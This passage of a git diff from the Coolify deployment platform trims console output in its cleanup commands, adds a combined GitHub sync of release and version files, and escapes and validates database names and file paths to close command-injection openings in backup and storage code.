diff --git a/app/Actions/Proxy/StartProxy.php b/app/Actions/Proxy/StartProxy.php index bfc65d8d2..20c997656 100644 --- a/app/Actions/Proxy/StartProxy.php +++ b/app/Actions/Proxy/StartProxy.php @@ -75,6 +75,10 @@ public function handle(Server $server, bool $async = true, bool $force = false, ' done', " echo 'Successfully stopped and removed existing coolify-proxy.'", 'fi', + ]); + // Ensure required networks exist BEFORE docker compose up (networks are declared as external) + $commands = $commands->merge(ensureProxyNetworksExist($server)); + $commands = $commands->merge([ "echo 'Starting coolify-proxy.'", 'docker compose up -d --wait --remove-orphans', "echo 'Successfully started coolify-proxy.'", diff --git a/app/Console/Commands/CleanupNames.php b/app/Console/Commands/CleanupNames.php index 2992e32b9..2451dc3ed 100644 --- a/app/Console/Commands/CleanupNames.php +++ b/app/Console/Commands/CleanupNames.php @@ -63,8 +63,6 @@ class CleanupNames extends Command public function handle(): int { - $this->info('๐Ÿ” Scanning for invalid characters in name fields...'); - if ($this->option('backup') && ! $this->option('dry-run')) { $this->createBackup(); } @@ -75,7 +73,7 @@ public function handle(): int : $this->modelsToClean; if ($modelFilter && ! isset($this->modelsToClean[$modelFilter])) { - $this->error("โŒ Unknown model: {$modelFilter}"); + $this->error("Unknown model: {$modelFilter}"); $this->info('Available models: '.implode(', ', array_keys($this->modelsToClean))); return self::FAILURE; @@ -88,19 +86,21 @@ public function handle(): int $this->processModel($modelName, $modelClass); } - $this->displaySummary(); - if (! $this->option('dry-run') && $this->totalCleaned > 0) { $this->logChanges(); } + if ($this->option('dry-run')) { + $this->info("Name cleanup: would sanitize {$this->totalCleaned} records"); + } else { + $this->info("Name cleanup: sanitized {$this->totalCleaned} records"); + } + return self::SUCCESS; } protected function processModel(string $modelName, string $modelClass): void { - $this->info("\n๐Ÿ“‹ Processing {$modelName}..."); - try { $records = $modelClass::all(['id', 'name']); $cleaned = 0; @@ -128,21 +128,17 @@ protected function processModel(string $modelName, string $modelClass): void $cleaned++; $this->totalCleaned++; - $this->warn(" ๐Ÿงน {$modelName} #{$record->id}:"); - $this->line(' From: '.$this->truncate($originalName, 80)); - $this->line(' To: '.$this->truncate($sanitizedName, 80)); + // Only log in dry-run mode to preview changes + if ($this->option('dry-run')) { + $this->warn(" ๐Ÿงน {$modelName} #{$record->id}:"); + $this->line(' From: '.$this->truncate($originalName, 80)); + $this->line(' To: '.$this->truncate($sanitizedName, 80)); + } } } - if ($cleaned > 0) { - $action = $this->option('dry-run') ? 'would be sanitized' : 'sanitized'; - $this->info(" โœ… {$cleaned}/{$records->count()} records {$action}"); - } else { - $this->info(' โœจ No invalid characters found'); - } - } catch (\Exception $e) { - $this->error(" โŒ Error processing {$modelName}: ".$e->getMessage()); + $this->error("Error processing {$modelName}: ".$e->getMessage()); } } @@ -165,28 +161,6 @@ protected function sanitizeName(string $name): string return $sanitized; } - protected function displaySummary(): void - { - $this->info("\n".str_repeat('=', 60)); - $this->info('๐Ÿ“Š CLEANUP SUMMARY'); - $this->info(str_repeat('=', 60)); - - $this->line("Records processed: {$this->totalProcessed}"); - $this->line("Records with invalid characters: {$this->totalCleaned}"); - - if ($this->option('dry-run')) { - $this->warn("\n๐Ÿ” DRY RUN - No changes were made to the database"); - $this->info('Run without --dry-run to apply these changes'); - } else { - if ($this->totalCleaned > 0) { - $this->info("\nโœ… Database successfully sanitized!"); - $this->info('Changes logged to storage/logs/name-cleanup.log'); - } else { - $this->info("\nโœจ No cleanup needed - all names are valid!"); - } - } - } - protected function logChanges(): void { $logFile = storage_path('logs/name-cleanup.log'); @@ -208,8 +182,6 @@ protected function logChanges(): void protected function createBackup(): void { - $this->info('๐Ÿ’พ Creating database backup...'); - try { $backupFile = storage_path('backups/name-cleanup-backup-'.now()->format('Y-m-d-H-i-s').'.sql'); @@ -229,15 +201,9 @@ protected function createBackup(): void ); exec($command, $output, $returnCode); - - if ($returnCode === 0) { - $this->info("โœ… Backup created: {$backupFile}"); - } else { - $this->warn('โš ๏ธ Backup creation may have failed. Proceeding anyway...'); - } } catch (\Exception $e) { - $this->warn('โš ๏ธ Could not create backup: '.$e->getMessage()); - $this->warn('Proceeding without backup...'); + // Log failure but continue - backup is optional safeguard + Log::warning('Name cleanup backup failed', ['error' => $e->getMessage()]); } } diff --git a/app/Console/Commands/CleanupRedis.php b/app/Console/Commands/CleanupRedis.php index abf8010c0..199e168fc 100644 --- a/app/Console/Commands/CleanupRedis.php +++ b/app/Console/Commands/CleanupRedis.php @@ -18,10 +18,6 @@ public function handle() $dryRun = $this->option('dry-run'); $skipOverlapping = $this->option('skip-overlapping'); - if ($dryRun) { - $this->info('DRY RUN MODE - No data will be deleted'); - } - $deletedCount = 0; $totalKeys = 0; @@ -29,8 +25,6 @@ public function handle() $keys = $redis->keys('*'); $totalKeys = count($keys); - $this->info("Scanning {$totalKeys} keys for cleanup..."); - foreach ($keys as $key) { $keyWithoutPrefix = str_replace($prefix, '', $key); $type = $redis->command('type', [$keyWithoutPrefix]); @@ -51,14 +45,12 @@ public function handle() // Clean up overlapping queues if not skipped if (! $skipOverlapping) { - $this->info('Cleaning up overlapping queues...'); $overlappingCleaned = $this->cleanupOverlappingQueues($redis, $prefix, $dryRun); $deletedCount += $overlappingCleaned; } // Clean up stale cache locks (WithoutOverlapping middleware) if ($this->option('clear-locks')) { - $this->info('Cleaning up stale cache locks...'); $locksCleaned = $this->cleanupCacheLocks($dryRun); $deletedCount += $locksCleaned; } @@ -66,15 +58,14 @@ public function handle() // Clean up stuck jobs (restart mode = aggressive, runtime mode = conservative) $isRestart = $this->option('restart'); if ($isRestart || $this->option('clear-locks')) { - $this->info($isRestart ? 'Cleaning up stuck jobs (RESTART MODE - aggressive)...' : 'Checking for stuck jobs (runtime mode - conservative)...'); $jobsCleaned = $this->cleanupStuckJobs($redis, $prefix, $dryRun, $isRestart); $deletedCount += $jobsCleaned; } if ($dryRun) { - $this->info("DRY RUN: Would delete {$deletedCount} out of {$totalKeys} keys"); + $this->info("Redis cleanup: would delete {$deletedCount} items"); } else { - $this->info("Deleted {$deletedCount} out of {$totalKeys} keys"); + $this->info("Redis cleanup: deleted {$deletedCount} items"); } } @@ -85,11 +76,8 @@ private function shouldDeleteHashKey($redis, $keyWithoutPrefix, $dryRun) // Delete completed and failed jobs if (in_array($status, ['completed', 'failed'])) { - if ($dryRun) { - $this->line("Would delete job: {$keyWithoutPrefix} (status: {$status})"); - } else { + if (! $dryRun) { $redis->command('del', [$keyWithoutPrefix]); - $this->line("Deleted job: {$keyWithoutPrefix} (status: {$status})"); } return true; @@ -115,11 +103,8 @@ private function shouldDeleteOtherKey($redis, $keyWithoutPrefix, $fullKey, $dryR foreach ($patterns as $pattern => $description) { if (str_contains($keyWithoutPrefix, $pattern)) { - if ($dryRun) { - $this->line("Would delete {$description}: {$keyWithoutPrefix}"); - } else { + if (! $dryRun) { $redis->command('del', [$keyWithoutPrefix]); - $this->line("Deleted {$description}: {$keyWithoutPrefix}"); } return true; @@ -132,11 +117,8 @@ private function shouldDeleteOtherKey($redis, $keyWithoutPrefix, $fullKey, $dryR $weekAgo = now()->subDays(7)->timestamp; if ($timestamp < $weekAgo) { - if ($dryRun) { - $this->line("Would delete old timestamped data: {$keyWithoutPrefix}"); - } else { + if (! $dryRun) { $redis->command('del', [$keyWithoutPrefix]); - $this->line("Deleted old timestamped data: {$keyWithoutPrefix}"); } return true; @@ -160,8 +142,6 @@ private function cleanupOverlappingQueues($redis, $prefix, $dryRun) } } - $this->info('Found '.count($queueKeys).' queue-related keys'); - // Group queues by name pattern to find duplicates $queueGroups = []; foreach ($queueKeys as $queueKey) { @@ -193,7 +173,6 @@ private function cleanupOverlappingQueues($redis, $prefix, $dryRun) private function deduplicateQueueGroup($redis, $baseName, $keys, $dryRun) { $cleanedCount = 0; - $this->line("Processing queue group: {$baseName} (".count($keys).' keys)'); // Sort keys to keep the most recent one usort($keys, function ($a, $b) { @@ -244,11 +223,8 @@ private function deduplicateQueueGroup($redis, $baseName, $keys, $dryRun) } if ($shouldDelete) { - if ($dryRun) { - $this->line(" Would delete empty queue: {$redundantKey}"); - } else { + if (! $dryRun) { $redis->command('del', [$redundantKey]); - $this->line(" Deleted empty queue: {$redundantKey}"); } $cleanedCount++; } @@ -271,15 +247,12 @@ private function deduplicateQueueContents($redis, $queueKey, $dryRun) if (count($uniqueItems) < count($items)) { $duplicates = count($items) - count($uniqueItems); - if ($dryRun) { - $this->line(" Would remove {$duplicates} duplicate jobs from queue: {$queueKey}"); - } else { + if (! $dryRun) { // Rebuild the list with unique items $redis->command('del', [$queueKey]); foreach (array_reverse($uniqueItems) as $item) { $redis->command('lpush', [$queueKey, $item]); } - $this->line(" Removed {$duplicates} duplicate jobs from queue: {$queueKey}"); } $cleanedCount += $duplicates; } @@ -307,13 +280,9 @@ private function cleanupCacheLocks(bool $dryRun): int } } if (empty($lockKeys)) { - $this->info(' No cache locks found.'); - return 0; } - $this->info(' Found '.count($lockKeys).' cache lock(s)'); - foreach ($lockKeys as $lockKey) { // Check TTL to identify stale locks $ttl = $redis->ttl($lockKey); @@ -326,18 +295,11 @@ private function cleanupCacheLocks(bool $dryRun): int $this->warn(" Would delete STALE lock (no expiration): {$lockKey}"); } else { $redis->del($lockKey); - $this->info(" โœ“ Deleted STALE lock: {$lockKey}"); } $cleanedCount++; - } elseif ($ttl > 0) { - $this->line(" Skipping active lock (expires in {$ttl}s): {$lockKey}"); } } - if ($cleanedCount === 0) { - $this->info(' No stale locks found (all locks have expiration set)'); - } - return $cleanedCount; } @@ -453,17 +415,11 @@ private function cleanupStuckJobs($redis, string $prefix, bool $dryRun, bool $is $redis->command('hset', [$keyWithoutPrefix, 'status', 'failed']); $redis->command('hset', [$keyWithoutPrefix, 'failed_at', $now]); $redis->command('hset', [$keyWithoutPrefix, 'exception', "Job cleaned up by cleanup:redis - {$reason}"]); - - $this->info(" โœ“ Marked as FAILED: {$jobClass} (processing for ".round($processingTime / 60, 1).' min) - '.$reason); } $cleanedCount++; } } - if ($cleanedCount === 0) { - $this->info($isRestart ? ' No jobs to clean up' : ' No stuck jobs found (all jobs running normally)'); - } - return $cleanedCount; } } diff --git a/app/Console/Commands/SyncBunny.php b/app/Console/Commands/SyncBunny.php index 7a15dd01e..0a98f1dc8 100644 --- a/app/Console/Commands/SyncBunny.php +++ b/app/Console/Commands/SyncBunny.php @@ -50,6 +50,7 @@ private function syncReleasesToGitHubRepo(): bool // Clone the repository $this->info('Cloning coolify-cdn repository...'); + $output = []; exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode); if ($returnCode !== 0) { $this->error('Failed to clone repository: '.implode("\n", $output)); @@ -59,6 +60,7 @@ private function syncReleasesToGitHubRepo(): bool // Create feature branch $this->info('Creating feature branch...'); + $output = []; exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode); if ($returnCode !== 0) { $this->error('Failed to create branch: '.implode("\n", $output)); @@ -96,6 +98,7 @@ private function syncReleasesToGitHubRepo(): bool // Stage and commit $this->info('Committing changes...'); + $output = []; exec('cd '.escapeshellarg($tmpDir).' && git add json/releases.json 2>&1', $output, $returnCode); if ($returnCode !== 0) { $this->error('Failed to stage changes: '.implode("\n", $output)); @@ -133,6 +136,7 @@ private function syncReleasesToGitHubRepo(): bool // Push to remote $this->info('Pushing branch to remote...'); + $output = []; exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode); if ($returnCode !== 0) { $this->error('Failed to push branch: '.implode("\n", $output)); @@ -146,6 +150,7 @@ private function syncReleasesToGitHubRepo(): bool $prTitle = 'Update releases.json - '.date('Y-m-d H:i:s'); $prBody = 'Automated update of releases.json with latest '.count($releases).' releases from GitHub API'; $prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1'; + $output = []; exec($prCommand, $output, $returnCode); // Clean up @@ -171,6 +176,193 @@ private function syncReleasesToGitHubRepo(): bool } } + /** + * Sync both releases.json and versions.json to GitHub repository in one PR + */ + private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, bool $nightly = false): bool + { + $this->info('Syncing releases.json and versions.json to GitHub repository...'); + try { + // 1. Fetch releases from GitHub API + $this->info('Fetching releases from GitHub API...'); + $response = Http::timeout(30) + ->get('https://api.github.com/repos/coollabsio/coolify/releases', [ + 'per_page' => 30, + ]); + + if (! $response->successful()) { + $this->error('Failed to fetch releases from GitHub: '.$response->status()); + + return false; + } + + $releases = $response->json(); + + // 2. Read versions.json + if (! file_exists($versionsLocation)) { + $this->error("versions.json not found at: $versionsLocation"); + + return false; + } + + $file = file_get_contents($versionsLocation); + $versionsJson = json_decode($file, true); + $actualVersion = data_get($versionsJson, 'coolify.v4.version'); + + $timestamp = time(); + $tmpDir = sys_get_temp_dir().'/coolify-cdn-combined-'.$timestamp; + $branchName = 'update-releases-and-versions-'.$timestamp; + $versionsTargetPath = $nightly ? 'json/versions-nightly.json' : 'json/versions.json'; + + // 3. Clone the repository + $this->info('Cloning coolify-cdn repository...'); + $output = []; + exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to clone repository: '.implode("\n", $output)); + + return false; + } + + // 4. Create feature branch + $this->info('Creating feature branch...'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to create branch: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // 5. Write releases.json + $this->info('Writing releases.json...'); + $releasesPath = "$tmpDir/json/releases.json"; + $releasesDir = dirname($releasesPath); + + if (! is_dir($releasesDir)) { + if (! mkdir($releasesDir, 0755, true)) { + $this->error("Failed to create directory: $releasesDir"); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + } + + $releasesJsonContent = json_encode($releases, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); + if (file_put_contents($releasesPath, $releasesJsonContent) === false) { + $this->error("Failed to write releases.json to: $releasesPath"); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // 6. Write versions.json + $this->info('Writing versions.json...'); + $versionsPath = "$tmpDir/$versionsTargetPath"; + $versionsDir = dirname($versionsPath); + + if (! is_dir($versionsDir)) { + if (! mkdir($versionsDir, 0755, true)) { + $this->error("Failed to create directory: $versionsDir"); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + } + + $versionsJsonContent = json_encode($versionsJson, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES); + if (file_put_contents($versionsPath, $versionsJsonContent) === false) { + $this->error("Failed to write versions.json to: $versionsPath"); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // 7. Stage both files + $this->info('Staging changes...'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git add json/releases.json '.escapeshellarg($versionsTargetPath).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to stage changes: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // 8. Check for changes + $this->info('Checking for changes...'); + $statusOutput = []; + exec('cd '.escapeshellarg($tmpDir).' && git status --porcelain 2>&1', $statusOutput, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to check repository status: '.implode("\n", $statusOutput)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + if (empty(array_filter($statusOutput))) { + $this->info('Both files are already up to date. No changes to commit.'); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return true; + } + + // 9. Commit changes + $envLabel = $nightly ? 'NIGHTLY' : 'PRODUCTION'; + $commitMessage = "Update releases.json and $envLabel versions.json to $actualVersion - ".date('Y-m-d H:i:s'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git commit -m '.escapeshellarg($commitMessage).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to commit changes: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // 10. Push to remote + $this->info('Pushing branch to remote...'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to push branch: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // 11. Create pull request + $this->info('Creating pull request...'); + $prTitle = "Update releases.json and $envLabel versions.json to $actualVersion - ".date('Y-m-d H:i:s'); + $prBody = "Automated update:\n- releases.json with latest ".count($releases)." releases from GitHub API\n- $envLabel versions.json to version $actualVersion"; + $prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1'; + $output = []; + exec($prCommand, $output, $returnCode); + + // 12. Clean up + exec('rm -rf '.escapeshellarg($tmpDir)); + + if ($returnCode !== 0) { + $this->error('Failed to create PR: '.implode("\n", $output)); + + return false; + } + + $this->info('Pull request created successfully!'); + if (! empty($output)) { + $this->info('PR URL: '.implode("\n", $output)); + } + $this->info("Version synced: $actualVersion"); + $this->info('Total releases synced: '.count($releases)); + + return true; + } catch (\Throwable $e) { + $this->error('Error syncing to GitHub: '.$e->getMessage()); + + return false; + } + } + /** * Sync versions.json to GitHub repository via PR */ @@ -413,31 +605,48 @@ public function handle() return; } elseif ($only_version) { - $this->warn('โš ๏ธ DEPRECATION WARNING: The --release option is deprecated.'); - $this->warn(' Please use --github-versions instead to create a PR to the coolify-cdn repository.'); - $this->warn(' This option will continue to work but may be removed in a future version.'); - $this->newLine(); - if ($nightly) { - $this->info('About to sync NIGHLTY versions.json to BunnyCDN.'); + $this->info('About to sync NIGHTLY versions.json to BunnyCDN and create GitHub PR.'); } else { - $this->info('About to sync PRODUCTION versions.json to BunnyCDN.'); + $this->info('About to sync PRODUCTION versions.json to BunnyCDN and create GitHub PR.'); } $file = file_get_contents($versions_location); $json = json_decode($file, true); $actual_version = data_get($json, 'coolify.v4.version'); - $confirmed = confirm("Are you sure you want to sync to {$actual_version}?"); + $this->info("Version: {$actual_version}"); + $this->info('This will:'); + $this->info(' 1. Sync versions.json to BunnyCDN (deprecated but still supported)'); + $this->info(' 2. Create ONE GitHub PR with both releases.json and versions.json'); + $this->newLine(); + + $confirmed = confirm('Are you sure you want to proceed?'); if (! $confirmed) { return; } - // Sync versions.json to BunnyCDN + // 1. Sync versions.json to BunnyCDN (deprecated but still needed) + $this->info('Step 1/2: Syncing versions.json to BunnyCDN...'); Http::pool(fn (Pool $pool) => [ $pool->storage(fileName: $versions_location)->put("/$bunny_cdn_storage_name/$bunny_cdn_path/$versions"), $pool->purge("$bunny_cdn/$bunny_cdn_path/$versions"), ]); - $this->info('versions.json uploaded & purged...'); + $this->info('โœ“ versions.json uploaded & purged to BunnyCDN'); + $this->newLine(); + + // 2. Create GitHub PR with both releases.json and versions.json + $this->info('Step 2/2: Creating GitHub PR with releases.json and versions.json...'); + $githubSuccess = $this->syncReleasesAndVersionsToGitHubRepo($versions_location, $nightly); + if ($githubSuccess) { + $this->info('โœ“ GitHub PR created successfully with both files'); + } else { + $this->error('โœ— Failed to create GitHub PR'); + } + $this->newLine(); + + $this->info('=== Summary ==='); + $this->info('BunnyCDN sync: โœ“ Complete'); + $this->info('GitHub PR: '.($githubSuccess ? 'โœ“ Created (releases.json + versions.json)' : 'โœ— Failed')); return; } elseif ($only_github_releases) { diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 45ac6eb7d..6917de6d5 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -489,17 +489,22 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi $collectionsToExclude = collect(); } $commands[] = 'mkdir -p '.$this->backup_dir; + + // Validate and escape database name to prevent command injection + validateShellSafePath($databaseName, 'database name'); + $escapedDatabaseName = escapeshellarg($databaseName); + if ($collectionsToExclude->count() === 0) { if (str($this->database->image)->startsWith('mongo:4')) { $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location"; } } else { if (str($this->database->image)->startsWith('mongo:4')) { $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; } } } @@ -525,7 +530,10 @@ private function backup_standalone_postgresql(string $database): void if ($this->backup->dump_all) { $backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location"; } else { - $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $database > $this->backup_location"; + // Validate and escape database name to prevent command injection + validateShellSafePath($database, 'database name'); + $escapedDatabase = escapeshellarg($database); + $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location"; } $commands[] = $backupCommand; @@ -547,7 +555,10 @@ private function backup_standalone_mysql(string $database): void if ($this->backup->dump_all) { $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $database > $this->backup_location"; + // Validate and escape database name to prevent command injection + validateShellSafePath($database, 'database name'); + $escapedDatabase = escapeshellarg($database); + $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server); $this->backup_output = trim($this->backup_output); @@ -567,7 +578,10 @@ private function backup_standalone_mariadb(string $database): void if ($this->backup->dump_all) { $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $database > $this->backup_location"; + // Validate and escape database name to prevent command injection + validateShellSafePath($database, 'database name'); + $escapedDatabase = escapeshellarg($database); + $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server); $this->backup_output = trim($this->backup_output); diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php index ff5c2e4f5..b5e1929de 100644 --- a/app/Jobs/ValidateAndInstallServerJob.php +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -168,6 +168,9 @@ public function handle(): void if (! $this->server->isBuildServer()) { $proxyShouldRun = CheckProxy::run($this->server, true); if ($proxyShouldRun) { + // Ensure networks exist BEFORE dispatching async proxy startup + // This prevents race condition where proxy tries to start before networks are created + instant_remote_process(ensureProxyNetworksExist($this->server)->toArray(), $this->server, false); StartProxy::dispatch($this->server); } } diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index da543a049..18ad93016 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -107,6 +107,25 @@ public function syncData(bool $toModel = false) $this->backup->save_s3 = $this->saveS3; $this->backup->disable_local_backup = $this->disableLocalBackup; $this->backup->s3_storage_id = $this->s3StorageId; + + // Validate databases_to_backup to prevent command injection + if (filled($this->databasesToBackup)) { + $databases = str($this->databasesToBackup)->explode(','); + foreach ($databases as $index => $db) { + $dbName = trim($db); + try { + validateShellSafePath($dbName, 'database name'); + } catch (\Exception $e) { + // Provide specific error message indicating which database failed validation + $position = $index + 1; + throw new \Exception( + "Database #{$position} ('{$dbName}') validation failed: ". + $e->getMessage() + ); + } + } + } + $this->backup->databases_to_backup = $this->databasesToBackup; $this->backup->dump_all = $this->dumpAll; $this->backup->timeout = $this->timeout; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 3240aadd2..7ef2cdc4f 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -328,12 +328,15 @@ public function save_init_script($script) $configuration_dir = database_configuration_dir().'/'.$container_name; if ($oldScript && $oldScript['filename'] !== $script['filename']) { - $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}"; - $delete_command = "rm -f $old_file_path"; try { + // Validate and escape filename to prevent command injection + validateShellSafePath($oldScript['filename'], 'init script filename'); + $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}"; + $escapedOldPath = escapeshellarg($old_file_path); + $delete_command = "rm -f {$escapedOldPath}"; instant_remote_process([$delete_command], $this->server); } catch (Exception $e) { - $this->dispatch('error', 'Failed to remove old init script from server: '.$e->getMessage()); + $this->dispatch('error', $e->getMessage()); return; } @@ -370,13 +373,17 @@ public function delete_init_script($script) if ($found) { $container_name = $this->database->uuid; $configuration_dir = database_configuration_dir().'/'.$container_name; - $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}"; - $command = "rm -f $file_path"; try { + // Validate and escape filename to prevent command injection + validateShellSafePath($script['filename'], 'init script filename'); + $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}"; + $escapedPath = escapeshellarg($file_path); + + $command = "rm -f {$escapedPath}"; instant_remote_process([$command], $this->server); } catch (Exception $e) { - $this->dispatch('error', 'Failed to remove init script from server: '.$e->getMessage()); + $this->dispatch('error', $e->getMessage()); return; } @@ -405,6 +412,16 @@ public function save_new_init_script() 'new_filename' => 'required|string', 'new_content' => 'required|string', ]); + + try { + // Validate filename to prevent command injection + validateShellSafePath($this->new_filename, 'init script filename'); + } catch (Exception $e) { + $this->dispatch('error', $e->getMessage()); + + return; + } + $found = collect($this->initScripts)->firstWhere('filename', $this->new_filename); if ($found) { $this->dispatch('error', 'Filename already exists.'); diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index db171db24..644b100b8 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -179,6 +179,10 @@ public function submitFileStorageDirectory() $this->file_storage_directory_destination = trim($this->file_storage_directory_destination); $this->file_storage_directory_destination = str($this->file_storage_directory_destination)->start('/')->value(); + // Validate paths to prevent command injection + validateShellSafePath($this->file_storage_directory_source, 'storage source path'); + validateShellSafePath($this->file_storage_directory_destination, 'storage destination path'); + \App\Models\LocalFileVolume::create([ 'fs_path' => $this->file_storage_directory_source, 'mount_path' => $this->file_storage_directory_destination, diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 3b8d244cc..2030f631e 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -2,11 +2,14 @@ namespace App\Livewire\Project\Shared\EnvironmentVariable; +use App\Models\Environment; use App\Models\EnvironmentVariable as ModelsEnvironmentVariable; +use App\Models\Project; use App\Models\SharedEnvironmentVariable; use App\Traits\EnvironmentVariableAnalyzer; use App\Traits\EnvironmentVariableProtection; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Livewire\Attributes\Computed; use Livewire\Component; class Show extends Component @@ -184,6 +187,7 @@ public function submit() $this->serialize(); $this->syncData(true); + $this->syncData(false); $this->dispatch('success', 'Environment variable updated.'); $this->dispatch('envsUpdated'); $this->dispatch('configurationChanged'); @@ -192,6 +196,72 @@ public function submit() } } + #[Computed] + public function availableSharedVariables(): array + { + $team = currentTeam(); + $result = [ + 'team' => [], + 'project' => [], + 'environment' => [], + ]; + + // Early return if no team + if (! $team) { + return $result; + } + + // Check if user can view team variables + try { + $this->authorize('view', $team); + $result['team'] = $team->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view team variables + } + + // Get project variables if we have a project_uuid in route + $projectUuid = data_get($this->parameters, 'project_uuid'); + if ($projectUuid) { + $project = Project::where('team_id', $team->id) + ->where('uuid', $projectUuid) + ->first(); + + if ($project) { + try { + $this->authorize('view', $project); + $result['project'] = $project->environment_variables() + ->pluck('key') + ->toArray(); + + // Get environment variables if we have an environment_uuid in route + $environmentUuid = data_get($this->parameters, 'environment_uuid'); + if ($environmentUuid) { + $environment = $project->environments() + ->where('uuid', $environmentUuid) + ->first(); + + if ($environment) { + try { + $this->authorize('view', $environment); + $result['environment'] = $environment->environment_variables() + ->pluck('key') + ->toArray(); + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view 